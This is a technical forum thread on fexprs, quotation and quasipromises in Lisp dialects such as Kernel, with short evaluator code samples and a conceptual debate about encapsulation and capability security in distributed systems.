The various ideas in this thread about how to make fexprs play well with quotation are fascinating and potentially exciting. (I am skeptical, in an open-minded sort of way, about ideas that involve introducing multiple kinds of environments, as I tend to suspect weaknesses and restrictions when I see additional features appearing necessary.) However, speculation on guarded environments notwithstanding, for my own research I've taken a different direction. This might sound trivial at first, but isn't: I'm pursuing the hypothesis that quotation is another language feature that, like dynamic scope, should not be put into the same language design with fexprs.
This hypothesis occurred to me when, after several years of work on the R-1RK — and still some time before I put it on the web as a techreport — I noticed that quotation was the common element in all my simple illustrations of hygiene violations with fexprs. The Kernel design philosophy says that compromising the language style will be ultimately self-defeating, therefore startling consequences of the style should be embraced wholeheartedly; so I ruthlessly suppressed my "well, that can't be right" reaction, removed the quotation and quasiquotation syntactic sugar and associated standard operatives from the language, and settled in to see whether, in the long haul, it would really be possible to make Lisp-without-quotation work. My impression, so far, is that fexprs can be used to make it work.
What happens here, I think, is that when an unevaluated operand is passed into a fexpr — recalling long-ago terminology, one might call this a "downward quotarg" —. The $quote operative passes its operand outward/upward; but eliminating $quote is feasible, because much of what it's used for is simply preventing some operand from being evaluated on the way in to some programmer-defined combiner, which can be accomplished by using a fexpr.
A simple example that came up in my dissertation: When writing a Scheme meta-circular evaluator in Kernel, the mc-combine applicative takes an unevaluated operator and operand-list, and first compares the operator to several reserved operators. Using Scheme-ish style, it might look something like this (assuming syntactic sugar for quote):
($define! mc-combine
($lambda (operator operands env)
($cond ((equal? operator 'define) (mc-define operands env))
((equal? operator 'if) (mc-if operands env))
((equal? operator 'set!) (mc-set! operands env))
(#t (mc-apply (mc-eval operator env)
(mc-map-eval operands env))))))
Here's how I envisioned it using native Kernel style:
($define! mc-combine
($lambda (operator operands env)
($cond ((define-operator? operator) (mc-define operands env))
((if-operator? operator) (mc-if operands env))
((set!-operator? operator) (mc-set! operands env))
(#t (mc-apply (mc-eval operator env)
(mc-map-eval operands env))))))
($define! $make-tag-predicate
($vau (tag) #ignore
($lambda (x) (equal? x tag))))
($define! define-operator? ($make-tag-predicate define))
($define! if-operator? ($make-tag-predicate if))
($define! set!-operator? ($make-tag-predicate set!))
Operative $make-tag-predicate doesn't pass its operand outward/upward, but instead uses it on-site, keeping a tight rein on it.
(Fixed: some missing parentheses.)
What happens here, I think, is that when an unevaluated operand is passed into a fexpr — recalling long-ago terminology, one might call this a "downward quotarg" —.
Actually this problem (or a version of it) is the reason I decided that I needed to form expression-environment aggregates (shall I call them 'quasipromises'?) when passing arguments. Quasipromises, when evaluated, use their own environments. So a function can take an argument without evaluating it (the unevaluated object is a quasipromise), then pass it, still unevaluated, to another function. If it gets evaluated in that other function, it's still got a reference to the proper environment for its evaluation. And if it gets returned via tail call to a continuation closer to the root of the environment tree than its own, it still contains a reference to its own environment for evaluation.
Remember how, in the original Rabbit compiler, after CPS transformation, Sussman & Steele found that there was no real difference between function calls and function returns? Both were just "goto with arguments" in a language where data (in this case environments) has unlimited extent.
To me this indicates that for consistency's sake we ought to at least consider returning values exactly the same way we supply arguments. Since the argument of quote is a quasipromise which quote does not evaluate, this argument goes, quote itself ought to return that quasipromise. Or in the language you use in your report, since $quote must be supplied with both an operand and the environment of that operand, it must similarly return both.
Raw list structure - the traditional loading of quote - would seem to be an inappropriate meaning for it in a lisp with fexpr semantics.
Anyway, that was my analysis of the problem. Accordingly I've tied the quote syntax and the quote keyword to semantics that explicitly create a quasipromise rather than to semantics that create list structure. If you just need raw list structure, you have to 'break' the quasipromise and use only the list structure.
I'm still seeking an appropriate answer for quasiquote though, and may eventually discover that it is not really amenable to one.
(As an aside, talking with actual humans about this is helping me to discover terminology. My internal documentation so far has called these entities 'argument expressions' but that's so vague as to be useless in a general discussion. 'quasipromise' as a neologism allows a precise definition, which is better, and suggests 'break' as a natural terminology for what I've been calling 'decompose.')
There may be something profound, here, in the reason why the aggregation that ...I think... you're describing would not be natural in my approach to fexprs. Perhaps you can tell me (when I finish my long-winded explanation of this) whether I've misunderstood how your approach works in this regard.
You've described your approach as having "only one kind of function". That is not true of my approach. I have two mutually disjoint types of combiners: applicatives and operatives, where operatives (constructed via $vau) are the flashier type, but applicatives are key to the well-behavedness of actual programs, both in practice and in theory. An applicative is a wrapper around an underlying combiner, essentially a one-tuple; after the interpreter evaluates the operator of a combination, resulting in a combiner, if the combiner is applicative the interpreter unwraps it and evaluates the operands, and recurses on the resulting combination. Operatives are the base case, and all combination evaluations will (ordinarily) get to that case, but applicatives are the inductive step on the way to that base case. The meta-circular evaluator routine for this is
($define! mc-combine
($lambda (combiner operands env)
($if (mc-operative? combiner)
(mc-operate combiner operands env)
(mc-combine (mc-unwrap combiner)
(mc-map-eval operands env)
env))))
There's a programming flexibility advantage to this, because the separate, unencapsulated applicative wrapper can be used for facile combiner manipulations by a client without violating the encapsulation of the underlying operative. But closely related to this are well-behavedness advantages. In theory, a compound operative call is modeled in vau-calculus by the beta-rule, which involves substitution, so that any evaluations that are actually built in to the operative would be hard to disentangle from it; therefore, having the applicative wrapper be explicitly separate makes it much easier to reason formally about applicatives. In practice, the vast majority of all applicatives have underlying operatives that couldn't care less about their dynamic environments: almost all operands to operatives are really data, not source code. The applicative wrapper therefore makes it possible for the underlying oeprative to ignore its dynamic enviornment, which both vastly reduces the distribution of first-class environments (reducing the likelihood of accidents) and avoids an uncontrolled stack growth that could potentially mess up proper tail recursion. Here, for perspective on this, is the library derivation for $lambda:
($define! $lambda
($vau (formals . body) env
(wrap (eval (list* $vau formals #ignore body)
env))))
The point here is that when $lambda is called, it constructs an applicative whose underlying operative doesn't capture its dynamic environment; and since most combiners will be constructed via $lambda, this means that most operatives won't capture their environments. So if I were to introduce some sort of operand–environment aggregate, I'd want to use it on some operatives but not on most of them — which wouldn't be much in the spirit of uniformity. So by envisioning an orthogonality between applicatives and operatives, I'm naturally guided away from operand/environment aggregates.
Perhaps you can tell me (when I finish my long-winded explanation of this) whether I've misunderstood how your approach works in this regard.
I don't think you have misunderstood, no. My objective with this project is to make a translation-target dialect. Specifically, for as many programming languages as possible, and especially as many lisps as possible, I want to be able to construct the abstract syntax tree for any program written in that language, pull it into the system, and do useful things with it. The two main useful things would be to, under a set of definitions varying by source language, either treat it as a program having the same semantics as the original, or enable a straightforward automated translation of the program into a program in the new dialect having the same semantics as the original and also substantially the same or isomorphic AST structure as the original.
This relatively sane goal, I complicate to the point of insanity by desiring also that people working in the new dialect should be able to maintain and modify these codebases which now exist under distinctly different semantic rules, including introducing direct calls from one codebase to another.
That objective means that generality is the overriding concern. Efficiency is not quite a nonissue, but its influence is limited to implementation strategy; it cannot be allowed to drive design decisions. In the same way semantic cleanliness cannot be too closely enforced, because I may need to implement semantically unclean models in a straightforward way. What I do, or try to do, is to make sure that semantically muddled constructions are clearly marked by forcing them to be expressed with constructs whose semantic difficulties are known, clearly documented, and elicit the proper warnings from the system when used.
Rather than have classes of function that can and can't do certain things, it's cleaner for my purpose to have a single function type that can do anything, even things that are bad ideas, because I may need to do those things in order to build a straightforward representation of the semantics of some language in which code I want to preserve originates. For example, modeling languages and some symbolic-algebra languages have semantics almost exclusively modeled by composition of macros, and Algol had its peculiar call-by-name semantics, and etc.
The pursuit of optimization, I'm approaching from a post facto perspective; in working with programs from many different languages, and hoping to map function calls onto function calls, there can be no builtin proof of function properties from a type system about what functions can and can't do, because functions can do anything. There are only proofs about what particular, individual functions do and don't do.
Accordingly, I needed to construct a function call (particularly, in apply) that didn't need to know, or care, about the "type" (operative or applicative, to use your terms) of the function being called. So there really is only one kind of function call semantics. Evaluating each argument once each, in order, by the standard evaluation rules, is a difference in function behavior that the programmer has to know about, not a difference in function type that apply has to know about. I've done this without "wrappers," so each function encapsulates all of its evaluation behavior as well as its other behavior.
An invocation frame or environment as I've implemented it contains all the arguments, plus explicit references to both the dynamic environment and the lexical environment of the function call. Each argument is represented as an aggregate or 'quasipromise', containing a reference to the evaluation environment for that subexpression. This is usually but not always the same as the dynamic environment in the call.
If the function exhibits "normal" behavior, it evaluates all its arguments, immediately, once each, in order, using the standard evaluation function, and replaces the quasipromises with simple values before user-written code begins.
If any parameters are specified as "lazy" in the lambda list, the corresponding quasipromises are treated as promises. That is, they are not evaluated until (or unless) the values are needed or the parameters are explicitly "forced." Whenever that happens, the function code immediately replaces the quasipromises with the returned values.
If any parameters are specified as "app" in the lambda list, the corresponding quasipromises are evaluated whenever the corresponding values are needed, which may be many times during the execution of the function. This is typically how looping constructs take their loop-body subexpressions. This is intended to model the "applicative semantics" of pure lambda calculus, which lisps normally elide by imposing a single-evaluation rule on function subexpressions. Yes, I'm aware that you and I are using the same word in drastically different ways. Maybe I should call these 'loop' parameters after the usual use case.
Parameters taken as 'app' parameters can be explicitly forced (which means you can't ever evaluate them again) or operated on by a destructuring primitive allowing you to get at raw list structure or the bare environment reference.
Within a function, the return continuation is bound to the name return and may be called with any number of arguments. But these arguments, like the arguments into the function, are passed as quasipromises containing references to the function environment, and unpacked at the call site. Like the arguments into the function, they are normally evaluated immediately by the caller, but can be taken in the call context as 'lazy' or 'app' returns. The lambda list, with its possible 'lazy' or 'app' subexpression keywords, is just inserted after the calling arguments and a vertical bar in the call expression.
return
So the lambda form for a particularly silly function might look like this:
(define silly (lambda (arg1 arg2 (lazy arg3) (app arg4))
(return (f1 arg1 arg3) (f2 arg4) (f3 arg1 arg2))
)
(define silly (lambda (arg1 arg2 (lazy arg3) (app arg4))
(return (f1 arg1 arg3) (f2 arg4) (f3 arg1 arg2))
)
And at the call site you might have a single-return context defined as
(silly e1 e2 e3 e4 | (lazy %1) )
(silly e1 e2 e3 e4 | (lazy %1) )
specifying that the first argument returned, which is in this case the only argument taken by the caller, is treated as a promise rather than evaluated immediately. Of note, when this call completes, e3 still has not been evaluated. It was passed to a function which treated it as "lazy" and never required its value. Then a subexpression involving the variable bound to it was returned in a context which treated the return as "lazy," which still doesn't force its evaluation.
For some time this struck me as mildly insane, but that's where generality-as-overriding concern has led me, and I've gotten more used to it as time goes on. I think I will borrow a page from your book and have a naming convention for non-normal functions though; knowing where the abstraction barriers are, when a function call may or may not have them, seems like a good idea.
Insight into the nature of the design problems is one thing. I think I've achieved that now with respect to quasiquote / unqoute .
quasiquote / unqoute
But finding the Right solution (consistent, general, powerful, simple to use) in terms of language design is another, and on that second score I find that I am still waiting for insight.
I see in the link you provided to John's spec for the Kernel language that he's doing the same as me and providing the environment with each argument to an "operator".
I'm puzzled by this comment. I'm not aware of doing anything that I would describe that way. In Kernel, the operand tree that is passed to a compound operative is separate from the environment that is passed to it; however many local bindings are created for parts of the operand tree, those local bindings are distinct from the local binding that may be created for the dynamic environment of the call. It doesn't seem to me that there's any aggregation involved.
In a rough and ready sense, its the same thing either way. You could pass the operands aggregated with the environment in a dis-entanglable way or you could separately pass the raw operands and the environment in a way that allow them to be aggregated. You two are talking about trivial duals (which Ray recognized there).
It's a difference that makes little nevermind although, as per usual, you have in Kernel an eloquent and nicely simple formulation whose provocations by way of implied suggestion are perhaps more productive. You got good style (where I don't mean "style" in a way that is purely superficial). (Hrm. That's too fawning. So: Get back to work on your thesis!)
(Incidentally, just for amusement, you should check out at least superficially the presence of procedure->syntax in SCM and, more deeply, I can't recommend highly enough (nor endorse as perfectly The Right Thing) SCM's implementation strategy. Mr. Jaffer and some of his co-conspirators have a particular and rare flavor of genius.)
procedure->syntax
It wasn't the aggregation I was talking about; it was providing an environment for each argument expression ("operand" in your report's parlance). I'm forming an aggregate type of expression and environment (like a promise but without the execute-at-most-once guarantee), but that's an implementation detail. The important thing in terms of laying the groundwork for a useful, nontrivial fexpr semantics, I believe, is knowing and having available in the invocation frame the "right" environment for each operand.
I observed that you came to the same conclusion re: your operators, and felt a certain amount of relief at being agreed with.
Ah! Yes. My 2002 NEPLS talk was my first public outing of my fexpr ideas, and I didn't really have any idea what kind of reception to expect. The overwhelmingly positive responses were profoundly reassuring that I wasn't just crazy.
Historical note. In MACLISP, most FEXPRs had just one "argument", which was the cdr of the calling combination; but even though MACLISP was dynamically scoped, one could sometimes get into trouble by evaluating an operand in the local environment, because some binding in the dynamic environment would be shadowed by the name of the one argument. To solve this problem, there was a two-argument form of FEXPR, in which the second argument was, more or less, the dynamic environment (though it wasn't first-class).
(I noticed two-argument fexprs a few years ago during yet another foray into my well-worn and cherished copy of the Pitmanual, Saturday Evening Edition. The Sunday Morning Edition is now on the web; see in particular here.)
This bogus claim always comes up in discussions about powerful macro systems from people that haven't really used languages with powerful macro systems. Look at PLT Scheme to see the things that have been done that go far beyond lazy evaluation. OCaml's CamlP4 is another good example.
Also, Haskell *does* have macros. See Template Haskell.
Template Haskell is not Haskell. So, Haskell does NOT have macros.
I don't doubt that Macros can do much more than lazy evaluation. But I doubt that this "much more" is needed in a modern language which usually has already constructs for the most common uses of macros.
But I doubt that this "much more" is needed in a modern language which usually has already constructs for the most common uses of macros.
The why of macros is well established.
The thread you are pointing to just establishes that the "why of macros" is not quite so well established. It rather enforces than changes "my opinion"..
I'll note that the same thing can be said of frameworks as of macros. Both offer means to hack advance features into a language that are relatively convenient compared to boiler-plate or copy-and-paste programming.
Thus, the existing use of macros, and of frameworks, offers ideal terrain to mine for new language features. Achieving first-class support can often improve performance, safety, security, or composability beyond what would be achieved with the macros or frameworks (it can be very difficult to usefully compose frameworks or combine macro-based DSLs into a single program expression).
But, even after fulfilling a class of needs for a macro or a framework, one isn't rid of the utility for macros and frameworks; rather, those uses are simply pushed ever further into the language frontier. One might, tongue-in-cheek, call this 'Greenspun's Incompleteness Theorem': without meta-programming, a language will never be feature-complete. As you push any language to its limits, you will always encounter problems that cannot be readily abstracted without either sacrificing some nice property (static safety, performance, security, etc.) or inventing another language for the job.
That said, macros aren't necessary. Rather, entrepreneurial developers get to make a variety of unpalatable choices upon reaching the limitations of their language: boiler-plate, macros/extensible-syntax, third-party code-generation utilities, compromise or sacrifice of system properties, or developing and implementing a new language.
Even among people who find macros smelly, you'll find many who think macros the least distasteful of these choices.
Tying this in with fexprs:.
It's an interesting question whether it's possible to introduce fexprs in an elegant way into a non-Lisp language without causing that language to become a dialect of Lisp. Fexprs come from a place deep in the fabric of Lisp, so that when they are added to a language, it seems that they would bring Lisp-nature with them. They were, after all, the native Lisp way of handling operative extensions, from the very first years of Lisp implementation before macros were grafted onto the language (in reaction, one suspects, to problems that arise when fexprs are mixed with dynamic scope).
They were, after all, the native Lisp way of handling operative extensions, from the very first years of Lisp implementation before macros were grafted onto the language (in reaction, one suspects, to problems that arise when fexprs are mixed with dynamic scope).
Well, grafted on is a bit too strong for my taste. The Scheme community (err...) in particular has done a wonderful job on second-class macros. Sure, they are separate from, and complicate, the main language, but this separation enables the use of powerful compilers, something that hasn't been shown for first-class macros yet.
P.S. As I understand Lisp history, macros were not grafted on, but rather extracted out out of Lisp, in order to tame them.
Wonderful job is a bit too strong for my taste, but I certainly agree that they've been done impressively well considering their natural limitations, and probably about as well as can be done without some fundamental change of strategy (such as fexprs instead of macros; my reservations about wonderful job are perhaps because I see modern Lisp macros as the best that can be done with an inherently flawed strategy). My impression of the history is that the decision to buckle down and find a way to make the Lisp macro strategy work was one with the decision to abandon the fexpr strategy. Because of those decisions, Lisp macros have a multi-decade head start on fexprs, and there are indeed some important things that haven't been shown for fexprs yet — although fexprs should be able to borrow from other technologies to help them catch up.
Although I consider the inherent phase separation of Lisp macros to be a defect in their extension strategy, I try to say that directly; I did not intend the phrase grafted on as an indirect aspersion against the strategy. Macros are a feature that evolved outside of Lisp and was then introduced into Lisp, rather than being a native development of the Lisp paradigm, so that the way they were introduced into Lisp resembles the horticultural practice of grafting.
I acknowledge a bias: I view every language feature in the context of distributed systems programming and open systems composition. You may find fexprs 'elegant' in the context of the Kernel's target use-cases. Perhaps you even see them as more Lisp than Lisp. But I, honestly, cannot bring myself to care.
When I study fexprs, my attention is almost immediately upon the vulgar violations of composition properties such as implementation hiding and parametricity. You can peek inside operands that were developed in non-local modules, and thus introduce behaviors dependent on how concepts are expressed non-locally. For composition, this is bad... one must restrict behavior to a dependency only upon what is expressed. AFAICT, there is no place for fexprs if you aren't willing to compromise composition. If you do not need to examine non-local code expressions, then a one-two punch of local syntax extension and first-class procedures will do the job.
Now, I refer to 'local syntax extension' because 'macro' has too many connotations in a thread discussing Scheme and Lisp. I'm personally interested in extensible attribute grammars, by which I refer to an attribute grammar wherein one of the attributes is the full grammar, and the full grammar includes the syntax to manipulate said attribute. Technically, such grammars may also be mutable in non-monotonic manners. To the extent you avoid side-effects while processing them, Scheme macros provide a form of local syntax extension. It doesn't matter when the syntax is evaluated; what matters (for composition) is that dependencies only exist on the code local to each application of the syntax extension.
The job performed by local syntax extensions is brutish. Fundamentally, they convert high-level domain semantics into inadequate implementation semantics. They do so in a lossy manner that will hinder many sorts of high-level symbolic or logical analysis. (If you want an elegant solution to that problem, then you must look more in the direction of Term Rewrite Systems than fexprs!) This doesn't mean the syntax extensions themselves can't be elegant or efficient. There is a certain beauty in well-executed brutality.
I don't have a good, widely accepted definition for 'elegant', but I suspect you share my view that compromise is antonymous to elegance. (You assert in a recent draft of your Kernel report: "pure style is one that can be reconciled with practical concerns without compromise, neither to the style nor to the practicalities.") When the 'practicalities' include concern for code distribution and secure open-systems composition, I observe that fexprs require compromises that are not required by local syntax extensions, and thus I judge them relatively less elegant. [Of course, even without fexprs, Scheme has many other features that also compromise distribution and secure open-systems composition.]
I'm personally interested in extensible attribute grammars, by which I refer to an attribute grammar wherein one of the attributes is the full grammar, and the full grammar includes the syntax to manipulate said attribute.
This sounds an awful lot like Christiansen Grammars, the subject of Henning Christiansen's dissertation, "Programming as Language Development" (1988). In the following years his research in that area morphed into logic meta-programming; and about when it was morphing, I developed an alternative called Recursive Adaptive Grammars (for my Master's Thesis) whose stated purpose was to integrate the adaptivity into the CFG core of the grammar, so that instead of a clear but weak CFG and a powerful but opaque computational mechanism, you'd have everything in one lucid and powerful system. RAGs could be taken very far, I think, but I haven't done so because my own interest in abstraction has led me in a different direction; I do know, though, that someone has been experimenting with them in recent times (I've had some contact with them). Depending on your particular interests, you might also find somewhat interesting a TR I put out two years ago, Well-behaved parsing of extensible-syntax languages.
When the 'practicalities' include concern for code distribution and secure open-systems composition, I observe that fexprs require compromises that are not required by local syntax extensions, and thus I judge them relatively less elegant.
I can only, for the moment, offer a general observation, to explain why I'm... not exactly skeptical, perhaps cautious... about this objection to fexprs.
In the past, I have confronted things that fexprs supposedly made impossible to do (or that FCEs did, FCEs being very, very closely related to fexprs, as this discussion has demonstrated). Usually this supposed impossibility was presented as a reason why fexprs (or FCEs) are impractical. What I've repeatedly found is that fexprs made impossible the conventional solution, but that an alternative solution could be achieved by exploiting unconventional properties of fexprs and FCEs. And typically the alternative solution brought new insight into fexprs/FCEs. How that sort of approach could possibly apply to the problems you mention, I have off hand no idea — which suggests to me, optimistically, that an alternative solution in that area might be accompanied by some fairly spectacular new insight.
BTW, just to keep the record straight, the passage you quote from the R-1RK (which has been in there at least since 2003) is, taken in context, not a definition of pure style, but a declaration of preference — including ten more words at the front,
crystalization of style can only be fully effective if the pure style is one that can be reconciled with practical concerns without compromise, neither to the style nor to the practicalities.
My work on extensible attribute grammars was influenced more than a little by Christiansen. Is there a reason you call it 'awful'? ;-)
Besides Christiansen (and his survey), I read some of your own work on RAGs, and a few papers by Cardelli. IIRC, it was your own online bibliography on the subject that got me started (so, thanks for that). I was really hoping to find a pre-packaged solution that would solve all my problems - a sort of a BNF for extensible synax.
fexprs made impossible the conventional solution, but that an alternative solution could be achieved by exploiting unconventional properties of fexprs and FCEs.
For secure composition, the issue is really the conventional properties of fexprs, which is to expose to operatives the code, data, and environment of the operands. If operands are exposed to the operative, then they cannot encapsulate authorities. If operands cannot encapsulate authorities, then authorities cannot be delegated, which raises barriers to secure composition. (Beyond that, the exposure also allows tight coupling to syntax-level implementation details of other components, which raises potential for issues when modules are changed... not that you can ever escape such issues entirely.)
Fexprs (and Scheme and Lisp as a whole, really) assume a trustworthy environment... i.e. that all contributors to the system are making best-effort to keep everything well-behaved.
But for composition in open systems, you must assume instead that, in any population of developers contributing code (extensions, applications, queries, decision trees, agents, etc.) to the system, you'll have a few interested in smashing stacks for fun and profit, and you'll also have a few benignly clueless who will, nonetheless, contribute code that acts in a malign manner.
"BTW, just to keep the record straight..."
I apologize for obliging you to set the record straight. I hadn't intended that the quote represent a definition, only that it express your opinion that compromise is somewhat antithetical to elegance. I was assuming you consider pure styles to be reasonably elegant.
If operands are exposed to the operative, then they cannot encapsulate authorities.
That's not true. Consider rewriting combinations this way:
(op rand0 ...)
==>
(eval (list 'op (list (list (lambda () rand0))) ...))
We are presuming there that something which is not normally readable - the procedure values returned by (lambda () rand0) - are nevertheless valid syntax to EVAL but that's a pretty reasonable assumption.
(lambda () rand0)
You repeat a point I made earlier with regards to first-class procedures. If you wrap every argument into a first-class procedure then, presuming you cannot peek inside procedures, you can encapsulate authorities.
On the other hand, if you performed the transform you describe systematically, you would have no need for fexprs. Local syntax extensions, plus the above transform, would be sufficient. The features that are unique to fexprs would not be leveraged. This has been the argument I've been making.
It would be an error to assume, however, that you control the rewriting combination you described above. Operatives receive their arguments unevaluated. Thus it generally be possible for the developer of 'op' to see the implementation details of 'rand0', prior to evaluating it into a proper lambda.
There may be ways to work around this and force evaluation of rand0 before passing it to op. However, any explicit work-around to achieve security is a violation of an important security principle: that maintaining security must be the path-of-least-resistance.
Fexprs (and Scheme and Lisp as a whole, really) assume a trustworthy environment... i.e. that all contributors to the system are making best-effort to keep everything well-behaved.
Kernel doesn't assume this — at least, not as much as, say, Scheme does — exactly because it has fexprs. In the presence of fexprs, programs are heavily dependent on proving stability of bindings, so the language has to be designed defensively so a module can guarantee stability of its bindings no matter how badly behaved its clients are. A key element of Kernel's strategy for this is that an environment can only be locally mutated if one can acquire that environment as a first-class object — and given an arbitrary environment, one can't determine its ancestors. Various other facets of Kernel are designed to promote encapsulation based on this bounding of environment mutation.
I must apologize. This is, I realize in hindsight, a terrible topic to reuse the word "environment" with a different meaning than that used in the OP!
Anyhow, by 'environment', I refer to the (more or less integrated) development environment.
For open distributed systems programming, you must assume this development environment includes clients and servers and clouds, all injecting code into one another. Code generally includes commands, queries, libraries, extensions, decision trees, form validation, agents, UI support, etc. Code distribution is very important for latency and network performance, disruption tolerance, load-balancing, and resilience (self-healing). Ideally, one wishes to avoid cheap security hacks - such as sandboxes and JavaScript's 'same origin policy' - because those hinder useful compositions. (Unlike capabilities, a sandbox will prevent you from accessing even legit authorities if they weren't white-listed by the host.)
The Scheme or Kernel environment will still involve code-distribution of untrusted code, in the form of libraries and extensions. The developers simply pretend the code is trustworthy, and perhaps vet it a little. Assuming otherwise is simply not very profitable in a language ill equipped to do much about it. And this is what I meant by 'assume a trustworthy environment'.
Protecting against mutation of bindings is useful for reasoning about security. However, for a security hole it is sufficient to execute a procedure or access a data resource that developers would expect to be encapsulated. This doesn't require mutation of any bindings. Merely reading the environment is sufficient to enable both of these behaviors. Access to the operands' operands is similarly problematic.
I don't think that encapsulation is quite a complete solution for security anyway. Make no mistake, it does defend from certain types of security problem, and from certain types of privelege escalation attacks. But when we assume that a certain fraction of the code in the system has been written by the devil, and we don't know which fraction exactly, encapsulation is not sufficient to provide "security" in a meaningful sense to the providers or owners of the resources that need to be secured.
Ultimately these objects are handled by routines written in machine code. Machine code has almost no provision for security. If the devil manages to substitute one of his routines for one of the official ones, for example with a locally hacked version of the JVM or CLR, then whatever faith you've put in language-level encapsulation is for naught. Like a lock on a wooden door, it will only stop the honest man.
I think that we as a community need to look for a better solution than encapsulation. Capabilities seem to be the leading candidate.
I think that we as a community need to look for a better solution than encapsulation. Capabilities seem to be the leading candidate.
Capabilities pretty much require encapsulation, which is what David is trying to say. If you don't have encapsulation, any capability security you hope to employ will be very weak.
In any publicly distributed system with mobile code, encapsulation as required by security concerns seems impossible. The problem is that each and every one of those machines belongs to somebody (I use the term 'publicly distributed' to mean that the machines do not all have the same ownership). Whoever "somebody" is that owns a particular machine, he or she has the right to run any code on it that he or she wants.
Even if you contend that no such civil right exists and the owner of the machine can in principle be forced to run code that they don't want to run in order to preserve security (a claim I find highly dubious), any technological measure to prevent it would necessarily also pave the way for trammeling of even more fundamental civil liberties. Besides, in practice all attempts to develop such means have consistently failed so far.
Providing a language spec that gives people no way to look inside encapsulated objects, or even a runtime implementation that gives people no way to look inside encapsulated objects (including environments), does not protect these objects in a way relevant to security . It only protects them from ordinary poor programming practices and accidents.
The sort of attacker whom you would be concerned about from a security point of view will not be constrained by your language spec, nor your implementation. The devil has access to assembly language and debuggers and is able to produce a modified version of your runtime environment. If the "encapsulated" environment or object is on his or her machine, and s/he can do evil by reading or modifying it, s/he will read or modify it regardless of your language spec or the capabilities of the runtime you provided.
That means that encapsulation is relevant to language design for distributed systems only in the sense of defending against ordinary poor programming practices and accidents; if security is your concern then you're necessarily talking about achieving it via distribution over machines none of which is owned or controlled by an attacker.
It is true that the host of code is able to export some 'reflective' capabilities, i.e. at the interpreter layer, to poke through external code resources and mine them for any useful information. This does not reduce the utility of language-level encapsulation. 'Untrusted code' should not be able to poke about the rest of your program and gain authorities or information that were not explicitly granted to it. Language-layer encapsulation is what prevents this, and does so without hindering performance and other properties.
As the distributor of code, your concern is information assurance - i.e. whether the code contains sensitive information, intellectual properties, or capabilities that the remote host is not authorized to possess. POLA is about limiting the maximum extent of damage, after all. The straightforward option, of course, is to hoard everything. But that option has some dire consequences for disruption tolerance, resilience (via redundancy), and performance (latency, bandwidth efficiency, and load balancing). To address these latter concerns, it is necessary to distribute code. Ideally, the language supports you in making correct code-distribution decisions, and even automates the distribution. If so, your language supports tierless programming - i.e. such that you need make no real distinctions between client, and server, and database installations. (With tierless programming, all installations are merely volatile participants in an open cloud.)
As the host, your concern is whether 'untrusted code' will compromise the security of your system. As mentioned above, this is where encapsulation of arguments and environment (i.e. as in object capability security) is useful, as it allows one to control the authorities and information granted to 'untrusted code'. A system with capability security can make a nice guarantee: that the only difference between code executing remotely, and code executing locally, will be performance, disruption tolerance, and resilience - which are exactly the reasons to distribute code. But caution! Capability security will not protect a host against a denial-of-service attacks performed by untrusted code. For that, the language must have a good model for concurrency and partial failure (fortunately, any language for distributed system will already have these!) in addition to some basic resource accounting in the language or the host.
Now, you might have noticed my consistently placing air-quotes around 'untrusted code'. This is because 'trusted code' is very poorly defined. Whose trust? Trust for what? In a running system, even code you might provisionally trust will quickly intermingle with untrusted code via closures, callbacks, and continuations. In general, 'untrusted code' is not confined: it may be endowed with capabilities, or carefully hoard them in ways that a 'well-behaved' program should not. Where critical, there are security patterns to ensure confinement, i.e. by providing untrusted code as an auditable AST. Effect-typing can also help. However, with rare exceptions, you should not care. Principle of Least Authority is based on limiting the extent of damage, not trust. And there are good alternatives to privilege escalation (i.e. involving sealer/unsealer patterns) that do not require 'trust'. Trust is only useful in the company of auditing and responsibility or liability (fiscal, reputation, etc.), and even there Trust is the third wheel in the relationship.
I don't really want to trust any code. Not the code (decision tree, form validation, GUI control, etc.) distributed to my client from a remote server. Not the code (query, command, etc.) distributed to my remote server from a client. Not the applications, the extensions, or the libraries that I painstakingly obtain using the sado-masochistic state-of-the-art code distribution mechanisms (installation packages, obtained via download... or even obtain on sneaker-net from a local electronics warehouse!). I don't even want to trust the code I wrote for myself, years ago.
For security, the language design should reduce the need for trust of code by the hosts... but must do so without compromising performance or useful expressiveness. A great many language features can help in this goal: encapsulation and memory safety, a good model for concurrency and concurrency control, resource accounting, well-defined partial-failures, information-flow analysis, linear typing, effect-typing, and so on.
It is true that the host of code is able to export some 'reflective' capabilities, i.e. at the interpreter layer, to poke through external code resources and mine them for any useful information. This does not reduce the utility of language-level encapsulation.
But it does mean that relying on language-level encapsulation for security against attackers was not part of its utility in the first place.
'Untrusted code' should not be able to poke about the rest of your program and gain authorities or information that were not explicitly granted to it.
"Untrusted code" can take the form of a memory debugger running as root in a separate thread. There is no way at all to prevent it from poking about in any program running on the same machine.
Language-layer encapsulation is what prevents this, and does so without hindering performance and other properties.
How?? What possible implementation strategy can you have in mind that protects running code and live data from being snooped around in, when you don't even own the machine where that code and data, however temporarily, resides?
Language level encapsulation can provide hygiene, sure. And hygiene is valuable. It can protect against accidental access, or even make it impossible to write code that executes in your runtime that accesses the protected resource. But hygiene is not security.
Security protects against genuinely motivated, technologically sophisticated attackers who have root access to the machine. Language level encapsulation cannot do that; it is hygiene, not security.
As far as I know the only thing that provides security is NOT running code on a widely distributed network where the ownership / control of any machine (including routers, hubs, and switches) is uncertain.
relying on language-level encapsulation for security against attackers was not part of its utility in the first place
Incorrect. Encapsulation when used effectively, as in an object capability discipline, protects the host against external attackers. Usefully, it does so without hindering composition, expressiveness, or performance..
Your argument amounts to: "but the attacker's code is wide open to perusal by the defender, so how can encapsulation possibly protect the defender?" Your argument is non-sequitur. It is not the responsibility of the defender to protect the attacker's interests. The attacker, or any user, is responsible for deciding just how much information to divulge to a potentially 'untrusted' remote host.
Open distributed systems security involves systematically protecting both the distributor (who is the potential attacker) and the host. One protects the distributor by automating good decisions about how much code can be distributed, and by systematically cleaning up any accidental authority leaks (i.e. by revoking and renaming compromised authorities). One protects the host via object capability model, a good concurrency model, a well-defined failure model, and resource conservation (process accounting). When all the participants are selfishly protecting their own interests, systems security is the natural result... as is a market of services.
"Untrusted code" can take the form of a memory debugger running as root in a separate thread. There is no way at all to prevent it from poking about in any program running on the same machine.
It would be silly to run an untrusted debugger with a large degree of ambient authority. But what's important for security of the host is that the attacker cannot start or control such a debugger. And that attack is prevented because the attacker's command/query/script/extension/agent/code happens to be running in an environment with disciplined encapsulation of authorities.
